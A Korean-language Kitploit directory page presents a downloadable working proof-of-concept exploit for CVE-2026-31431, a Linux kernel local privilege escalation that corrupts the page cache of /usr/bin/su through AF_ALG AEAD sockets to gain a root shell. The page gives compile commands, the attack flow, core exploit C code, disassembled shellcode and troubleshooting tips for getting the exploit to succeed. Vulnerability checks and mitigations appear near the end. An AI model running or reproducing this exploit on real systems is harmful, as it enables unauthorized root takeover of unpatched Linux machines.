Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2026-31431 — CVE-2026-31431에 대한 동작하는 개념 증명 익스플로잇으로, AF_ALG AEAD 페이지 캐시 손상을 통한 Linux 커널 로컬 권한 상승을 이용하여 루트 셸을 획득합니다. | Kitploit
도구/GitHubGitHub/wesmar/cve-2026-31431
Privilege EscalationExploit FrameworksVulnerability AnalysisExploitationBinary Exploitation
GitHubwesmar/cve-2026-31431

CVE-2026-31431

CVE-2026-31431에 대한 동작하는 개념 증명 익스플로잇으로, AF_ALG AEAD 페이지 캐시 손상을 통한 Linux 커널 로컬 권한 상승을 이용하여 루트 셸을 획득합니다.

저장소 보기
513개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2026-31431 — AF_ALG를 통한 로컬 권한 상승

NVD / NIST PoC Download

2026-04-29 — 저는 이 익스플로잇을 MyDigitalLife 포럼에 공유한 지 하루 만에 공개합니다. Python이 필요하지 않으며, C로 작성되었고 다음 명령을 사용하여 가능한 가장 작은 크기로 컴파일되었습니다:

root@kitploit:~
musl-gcc -static -Os -o exploit exploit.c -s

심각한 위협입니다. 익스플로잇 바이너리는 의존성 없이 컴파일되었으며 모든 Linux 시스템에서 취약점 테스트에 사용할 수 있습니다.

CVE-2026-31431은 Linux 커널에서 확인된 NIST 인증 취약점으로, 권한이 없는 로컬 사용자가 몇 초 만에 root 셸을 얻을 수 있게 합니다. 공개적으로 유포 중인 CVE-2026-31431 익스플로잇을 고려하여, 저는 내부 인프라의 노출 정도를 평가하기 위해 바이너리 개념 증명(PoC)을 개발했습니다. 일부 환경에서는 su 사용을 제한하지만, 이 취약점은 기본 커널 메모리 관리를 대상으로 하기 때문에 공유 서버에서 특히 치명적입니다. 결과적으로 sudo, passwd, mount, newgrp를 포함한 모든 SETUID 바이너리가 익스플로잇을 트리거하여 root 셸을 부여하는 데 활용될 수 있습니다. 표준 사용자 공간 제한으로는 이 위협을 완화하기에 충분하지 않으므로 커널 패치를 위한 관리자 조치가 즉시 필요합니다. 패치되지 않은 커널을 실행하는 모든 Linux 시스템이 위험에 노출되어 있습니다.

자체 제작 동작 익스플로잇 · Linux 커널 · AF_ALG 암호화 인터페이스 (AEAD)

디스크의 파일을 건드리지 않고 커널 페이지 캐시의 /usr/bin/su를 교체

로컬 셸 접근만으로 충분 — 추가 권한 불필요

패치되지 않은 Linux 배포판에 영향

CVE-2026-31431


📚 목차

  • 이 취약점이란 무엇인가
  • 영향을 받는 대상
  • 익스플로잇 작동 방식 — 단계별
  • 공격 흐름
  • 익스플로잇 코드 분석
  • ELF 페이로드 — 기술적 세부 사항
  • 취약한지 확인하는 방법
  • 완화 조치
  • 연구자 참고 사항
  • 면책 조항

이 취약점이란 무엇인가

CVE-2026-31431은 Linux 커널 암호화 하위 시스템의 scatter-gather I/O 작업 및 페이지 캐시 참조 처리, 특히 AEAD 알고리즘용 AF_ALG 소켓 구현(crypto/af_alg.c, crypto/aead.c)의 버그입니다.

실제로 발생하는 일

Linux 커널은 AF_ALG 소켓을 통해 사용자 공간에 암호화 인터페이스를 노출합니다. 취약점은 AEAD 복호화 작업 중 커널이 임시 버퍼 대신 소스 파일의 페이지 캐시 페이지에 복호화 출력을 직접 잘못 매핑한다는 사실에 있습니다. 공격자는 이를 통해 root 권한 없이, 파일 시스템에 가시적인 흔적을 남기지 않고 디스크의 파일을 수정하지 않고도 메모리 내 파일 내용을 덮어쓸 수 있습니다.


영향을 받는 대상


익스플로잇 작동 방식 — 단계별

익스플로잇은 두 가지 구성 요소로 이루어져 있습니다: /tmp/x의 헬퍼 스크립트와 AF_ALG 기반 손상 루프입니다. 다음은 소스 코드 분석에 기반한 정확한 단계별 설명입니다:

1. 헬퍼 스크립트 설정

익스플로잇은 다음 내용으로 /tmp/x를 생성합니다:

root@kitploit:~
#!/bin/sh
export TERM=xterm-256color
exec /bin/sh

권한을 0755로 설정합니다. 이유: /usr/bin/su는 실행 시 환경 변수(TERM 포함)를 제거합니다. 헬퍼 스크립트는 실제 셸을 생성하기 전에 이를 복원하여 기능적인 터미널을 보장합니다.

2. ELF 페이로드 구성

원시 셸코드를 포함하는 최소 158바이트 x86_64 ELF 바이너리가 메모리에 구축됩니다. 그런 다음 오프셋 150의 /bin/sh 문자열이 memcmp/memcpy를 통해 /tmp/x\0으로 패치됩니다. 자세한 내용은 ELF 페이로드를 참조하세요.

3. /usr/bin/su를 읽기 전용으로 열기

root@kitploit:~
int su_fd = open("/usr/bin/su", O_RDONLY);

파일은 읽기 전용으로 열립니다 — 익스플로잇에는 쓰기 권한이 전혀 필요하지 않습니다.

4. 손상 루프 — 각각 4바이트씩 39회 반복

페이로드(158바이트)는 4바이트 청크(39개의 완전한 청크)로 처리됩니다. 각 청크는 corrupt_binary_chunk()를 통해 전달되며, 다음을 수행합니다:

  • AF_ALG 소켓 생성 (SOCK_SEQPACKET)
  • authencesn(hmac(sha256),cbc(aes)) — 복합 AEAD 알고리즘에 바인딩
  • 72바이트 키 및 4바이트 인증 태그 크기 설정
  • 운영 소켓(op_sock) 수락
  • 8바이트 버퍼(4× 'A' + 4 페이로드 바이트)와 3개의 CMSG(ALG_OP_DECRYPT, IV(20바이트), assoclen=8)로 sendmsg 전송
  • splice 수행: su_fd → pipe → op_sock (커널을 통한 제로 카피)
  • recv()로 마무리 — 이 시점에서 커널이 페이지 캐시를 잘못 덮어씁니다

5. 실행

root@kitploit:~
execve("/usr/bin/su", args, NULL);

커널은 페이지 캐시를 통해 /usr/bin/su를 로드합니다 — 이제 손상된 상태입니다. SUID 비트(chmod u+s)는 그대로 유지되므로 커널은 파일을 root로 실행합니다. 셸코드는 setuid(0) → execve("/tmp/x") → 대화형 root 셸을 실행합니다.


공격 흐름

root@kitploit:~
flowchart TD
    A[권한이 없는 로컬 사용자] --> B["/tmp/x 헬퍼 스크립트 생성\nchmod 0755"]
    B --> C["158바이트 ELF 페이로드 구축\n패치: /bin/sh → /tmp/x"]
    C --> D["open /usr/bin/su O_RDONLY\n쓰기 권한 불필요"]
    D --> E[루프: 4바이트씩 39개 청크]
    E --> F[socket AF_ALG SOCK_SEQPACKET]
    F --> G["bind: authencesn hmac sha256 cbc aes"]
    G --> H["setsockopt: 72B 키 + authsize=4"]
    H --> I[accept → op_sock]
    I --> J["sendmsg: 8B 데이터 + 3x CMSG\nDECRYPT / IV 20B / assoclen=8"]
    J --> K["splice: su_fd → pipe → op_sock\n커널을 통한 제로 카피"]
    K --> L[recv → AEAD 작업 마무리]
    L --> M["커널 버그: 복호화 출력이\nsu_fd의 페이지 캐시를 덮어씀"]
    M --> N{다음 청크?}
    N -->|예| E
    N -->|아니오| O["execve /usr/bin/su"]
    O --> P["커널이 /usr/bin/su를 로드\n손상된 페이지 캐시에서"]
    P --> Q["SUID 비트 유지\n커널이 root로 실행"]
    Q --> R["셸코드: setuid 0 syscall 105"]
    R --> S["execve /tmp/x syscall 59"]
    S --> T[대화형 root 셸]

익스플로잇 코드 분석

아래에서 검토한 exploit.c의 주요 섹션:

corrupt_binary_chunk() 함수

익스플로잇의 핵심입니다. 각 호출은 하나의 완전한 AF_ALG 트랜잭션을 조정합니다:

root@kitploit:~
static void corrupt_binary_chunk(int fd, int offset, const unsigned char chunk[4])
{
    // AF_ALG 소켓 생성 및 AEAD authencesn(hmac(sha256),cbc(aes))에 바인딩
    alg_sock = socket(AF_ALG, SOCK_SEQPACKET, 0);
    bind(alg_sock, (struct sockaddr *)&sa, sizeof(sa));

    // 72바이트 키 + 인증 태그 크기 = 4바이트
    setsockopt(alg_sock, SOL_ALG, ALG_SET_KEY, key, sizeof(key));       // 72B
    setsockopt(alg_sock, SOL_ALG, ALG_SET_AEAD_AUTHSIZE, NULL, 4);

    op_sock = accept(alg_sock, NULL, NULL);

    // 버퍼: 연관 데이터로 4x 'A' + 4 페이로드 바이트
    unsigned char msg_buf[8] = {'A','A','A','A', chunk[0],chunk[1],chunk[2],chunk[3]};

    // 3개의 CMSG: DECRYPT 작업 / IV (20B, 첫 바이트 0x10) / assoclen=8
    // MSG_MORE로 sendmsg — 데이터가 아직 완전하지 않음
    sendmsg(op_sock, &msg, MSG_MORE);

    // 제로 카피 splice: su_fd → pipe → op_sock (offset+4바이트)
    splice(fd, &off_in, pipefd[1], NULL, total_len, 0);
    splice(pipefd[0], NULL, op_sock, NULL, total_len, 0);

    // recv가 작업을 마무리 — 커널이 여기서 su_fd의 페이지 캐시에 잘못 기록함
    recv(op_sock, dummy, 8 + offset, 0);
}

메인 루프

root@kitploit:~
for (size_t i = 0; i < len; i += 4) {
    if (i + 4 > len) break;           // 마지막 2바이트 건너뜀 (158 % 4 = 2)
    corrupt_binary_chunk(su_fd, i, &payload[i]);
}
// 39개의 완전한 청크 × 4바이트 = 156바이트 적용

ELF 페이로드 — 기술적 세부 사항

페이로드는 원시 셸코드가 포함된 자체 포함 158바이트 x86_64 ELF 바이너리입니다 — 동적 링커, 외부 라이브러리 없음.

셸코드 — 디스어셈블

root@kitploit:~
; 오프셋 120 — 진입점 0x400078
xor  eax, eax          ; eax = 0
xor  edi, edi          ; edi = 0  (uid = 0)
mov  al, 105           ; syscall setuid(0)
syscall

lea  rdi, [rip+0xf]    ; rdi → "/tmp/x\0" (오프셋 150)
xor  esi, esi          ; argv = NULL
push 59
pop  rax               ; syscall execve
cdq                    ; rdx = 0 (envp = NULL)
syscall

xor  edi, edi
push 60
pop  rax               ; syscall exit(0)
syscall

; 오프셋 150
db "/tmp/x", 0, 0      ; ("/bin/sh\0"에서 패치됨)

취약한지 확인하는 방법

1단계 — 커널 버전 확인

root@kitploit:~
uname -r

출력을 NIST가 게시한 취약 버전 목록과 비교하세요: nvd.nist.gov/vuln/detail/CVE-2026-31431

2단계 — AF_ALG 사용 가능 여부 확인

root@kitploit:~
python3 -c "import socket; s = socket.socket(38, socket.SOCK_SEQPACKET); print('AF_ALG 사용 가능 — 시스템이 취약할 수 있음')"

명령이 [Errno 97] Address family not supported를 반환하면 — 모듈이 비활성화되어 있으며 위험이 훨씬 낮습니다.

3단계 — /usr/bin/su의 SUID 확인

root@kitploit:~
ls -la /usr/bin/su

s 비트가 있으면(예: -rwsr-xr-x) — /usr/bin/su에 SUID가 설정되어 있으며 공격 벡터입니다.


완화 조치

임시 해결책 (커널 패치가 제공될 때까지)

root@kitploit:~
# 필요하지 않은 경우 AF_ALG 모듈 언로드
sudo modprobe -r af_alg 2>/dev/null || echo "모듈이 커널에 내장되어 있어 언로드할 수 없음"

# 또는 — SUID를 일시적으로 제거
sudo chmod u-s /usr/bin/su

연구자 참고 사항

이 섹션은 격리된 환경에서 취약점을 분석하는 보안 연구자를 위한 것입니다.

socket() 또는 bind() 실패

증상: perror("socket") 또는 perror("bind")가 종료를 트리거합니다.

원인:

  1. 커널이 AF_ALG 또는 authencesn 알고리즘을 지원하지 않음 — 확인: cat /proc/crypto | grep authencesn
  2. 필요한 모듈 로드: sudo modprobe hmac sha256 cbc aead authencesn
  3. AppArmor/SELinux가 AF_ALG 소켓 생성을 차단 중 — 로그 확인: dmesg | tail -20

splice()가 EPERM / EINVAL 반환

증상: 커널이 splice 작업을 거부합니다.

원인:

  1. su_fd가 심볼릭 링크나 장치가 아닌 일반 파일을 가리키는지 확인
  2. 암호화 소켓으로의 제로 카피를 차단하는 감사 로그 항목이 있는지 dmesg 확인
  3. 작업을 가로채는 LSM이 없는지 확인

execve가 일반 사용자 셸을 생성

증상: root 프롬프트 없음; id가 원래 UID를 표시합니다.

원인:

  1. /usr/bin/su에 SUID 비트가 없음 — ls -la /usr/bin/su, s 비트가 보여야 함
  2. execve 전에 페이지 캐시가 플러시되었을 수 있음 — sync 추가 또는 루프 지연 감소
  3. 시스템에 CVE-2026-31431 패치가 적용됨 — 커널 버전 확인

/tmp/x를 찾을 수 없거나 TERM 누락

증상: 셸이 생성되지만 터미널 렌더링이 깨집니다.

원인:

  1. /tmp가 쓰기 가능하고 noexec로 마운트되지 않았는지 확인
  2. /tmp/x의 권한이 0755여야 함 — 확인: ls -la /tmp/x
  3. execve("/tmp/x")가 실패하면 — 셸코드를 /bin/sh을 직접 사용하도록 다시 패치할 수 있음

면책 조항

경고: 이 문서는 정보 제공, 교육 및 방어 목적으로만 게시됩니다. NIST가 확인하고 보안 커뮤니티가 보고한 공개적으로 알려진 위협을 설명합니다. 소유하지 않았거나 테스트에 대한 명시적 승인을 받지 않은 시스템에서 익스플로잇을 실행하면 관련 법률을 위반하고 형사 책임을 초래할 수 있습니다. 격리된 실험실 환경에서만 테스트하세요.

모든 상표는 해당 소유자의 자산입니다. Linux 및 관련 마크는 Linux Foundation의 상표입니다.


최종 업데이트: 2026-04-29

도구 다운로드
속성값
식별자CVE-2026-31431
참조NIST NVD
유형로컬 권한 상승 (LPE)
구성 요소Linux 커널 — AF_ALG / AEAD (authencesn)
필요한 접근 권한권한이 없는 로컬 사용자
영향대화형 root 셸
익스플로잇 상태GitHub에서 공개적으로 제공되는 동작 PoC
지속성없음 — 수정 사항은 RAM에만 존재하며 재부팅 시 원래 상태로 복원됨
시스템상태
Ubuntu 24.04 (베어 메탈 / VM)⚠️ 패치되지 않은 커널에서 취약
패치되지 않은 커널의 Debian, Fedora, Arch⚠️ 취약
CONFIG_SECURITY_LOCKDOWN_LSM이 있는 배포판✅ 보호 가능성 높음
nosuid 또는 ProtectSUID(systemd)가 있는 시스템✅ 보호됨
AF_ALG를 차단하는 AppArmor/SELinux가 있는 시스템✅ 보호됨
macOS, Windows (네이티브)✅ 영향 없음
필드세부 사항
총 크기158바이트
ELF 헤더120바이트 (e_type=2 EXEC, e_machine=62 x86_64)
진입점0x00400078 = 오프셋 120 (헤더 바로 뒤)
셸코드30바이트 (오프셋 120–149)
대상 문자열오프셋 150의 8바이트 (/bin/sh\0 → /tmp/x\0로 패치됨)
4바이트 청크39개 완전 (156바이트); 마지막 2바이트 건너뜀
완화 조치적용 방법효과
커널 업데이트sudo apt update && sudo apt upgrade + 재부팅✅ 완전 (패치 사용 가능 시)
AF_ALG 모듈 블랙리스트echo "install af_alg /bin/false" >> /etc/modprobe.d/blacklist.conf✅ 공격 벡터 차단
su에서 SUID 제거sudo chmod u-s /usr/bin/su✅ 이 익스플로잇 차단 (참고: su가 작동하지 않음)
/tmp를 noexec로 마운트/etc/fstab 편집: tmpfs /tmp tmpfs noexec,nosuid 0 0⚠️ 부분적 — /tmp/x 차단, 익스플로잇이 다른 경로를 사용할 수 있음
AppArmor / SELinux권한 없는 사용자의 AF_ALG socket 차단 프로필✅ 올바른 구성 시 효과적